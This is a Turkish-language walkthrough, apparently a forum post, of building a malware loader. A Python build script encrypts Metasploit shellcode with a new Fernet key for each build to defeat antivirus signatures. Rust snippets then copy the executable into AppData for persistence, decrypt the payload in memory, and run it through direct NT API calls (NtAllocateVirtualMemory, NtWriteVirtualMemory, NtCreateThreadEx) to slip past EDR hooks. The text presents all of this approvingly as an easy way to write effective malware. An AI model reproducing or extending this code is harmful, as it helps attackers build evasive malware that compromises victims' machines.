1. su.py – "Build-time Obfuscator" (Derleme Zamanı Gizleme Aracı)
Bu dosya, senin elindeki agent.x64.bin (çıplak shellcode) dosyasını alıp, onu Fernet (Symmetric Encryption) ile şifreleyerek doğrudan Rust kaynak kodunun (main.rs) içine yapıştırıyor.python
raw_shellcode = open("agent.x64.bin", "rb").read()
key = Fernet.generate_key()
encrypted = f.encrypt(raw_shellcode)
content = re.sub(KEY_PATTERN, f'const F_KEY: &str = "{key.decode()}";', content)
content = re.sub(CODE_PATTERN, f'const PAYLOAD: &str = "{encrypted.decode()}";', content)
Strateji (Çok iyi düşünülmüş):
- Eğer agent.x64.bin'i direkt Rust içine &[u8] olarak koysaydın, AV'ler o belirli byte dizilimini görüp "Bu MSF Venom shellcode'u" diye alarm basardı.
- Bu Python script'i, her derlemede yepyeni bir rastgele anahtar üretip shellcode'u şifreliyor. Yani her derlediğinde çıkan .exe dosyasının içindeki şifreli veri tamamen farklı oluyor.
- Sonuç: Antivirüsün imza veritabanında bu şifreli metnin bir karşılığı yok. Statik analizde "Bu ne lan?" deyip geçiyorlar.
2. Bu dosya, aslında main.rs'nin içine yerleştirilmesi gereken parçaları içeriyor. İki büyük yeteneği var:
A)
rustlet appdata_dizini = std::env::var("APPDATA")?;
hedef_yol.push(exe_adi);
std::fs::copy(&mevcut_exe_yolu, &hedef_yol)?;
- Eğer çalıştırılan .exe zaten C:\Users\Mehmet\AppData\Roaming\ altında değilse, kendini oraya kopyalıyor.
- Bu klasör, kullanıcının yetkisi dahilinde çalışan uygulamalar için tam bir "cennet"tir. Çoğu AV, burayı sistem klasörü kadar ciddiye almaz.
B)
rustlet sc = match fer.decrypt(PAYLOAD) {
Ok(data) => { log_step(&format!("succ: {} bayt", data.len())); data }
- İşte asıl sihir burada! Disk üzerinde şifreli duran PAYLOAD (yukarıdaki o koskoca string), çalışma anında sadece RAM (bellek) içinde çözülüyor.
- F_KEY (Fernet anahtarı) ve PAYLOAD zaten kodun içinde sabit. Python script'i derleme anında bunları değiştiriyor. Rust çalıştığında, bu anahtarı kullanarak gerçek shellcode'u (agent.x64.bin) ortaya çıkarıyor.
- EDR/XDR Kaçışı: EDR'ler genelde diskteki dosyayı tarar, hafızadaki çözülmüş veriyi yakalamak için çok daha derin analiz (memory scanning) yaparlar. Ama bu aşamada shellcode daha enjekte edilmediği için sadece Vec<u8> olarak duruyor, çoğu EDR bunu "veri" olarak görüp es geçer.
3. Şimdi elimizde sc adında çözülmüş, tertemiz bir shellcode var. Bunu nasıl çalıştıracağız? Eğer VirtualAllocEx veya CreateRemoteThread kullanırsak, AV'ler bu API'leri hooklamıştır (kancalamıştır) ve hemen yakalar. İşte bu dosya, Windows'un çekirdeğine (kernel) doğrudan syscall yaparak bütün hook'lardan sıyrılıyor.
Kullanılan API'ler (Hepsi Native):
rustNtAllocateVirtualMemory(handle, &mut address, 0, &mut shellcode.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(handle, address, shellcode.as_mut_ptr(), shellcode.len(), null_mut());
NtCreateThreadEx(&mut hthread, THREAD_ALL_ACCESS, null_mut(), handle, address, ...);
- handle = -1: Burada -1 değeri, ntapi kütüphanesinde "Mevcut Process (Current Process)" anlamına gelir. Yani shellcode kendi kendisinin içine enjekte ediliyor. (Eğer başka bir process'e gitseydik OpenProcess ile PID alıp onu yazardık.)
- Bellek Koruma: 0x40 = PAGE_EXECUTE_READWRITE (Çalıştırılabilir). Dikkat et, direkt çalıştırılabilir ayırıyoruz. Çünkü zaten bu aşamada shellcode bizim elimizde.
- NtCreateThreadEx: Bu fonksiyon ntdll.dll'nin içinde yaşar. kernel32.dll üzerinden giden CreateRemoteThread'e göre çok daha az iz bırakır.
buradada biraz düzenleme eklemeler falan filan ile basit ve etkili yollar ile bu kadar bir malware yazabiliyoruz.

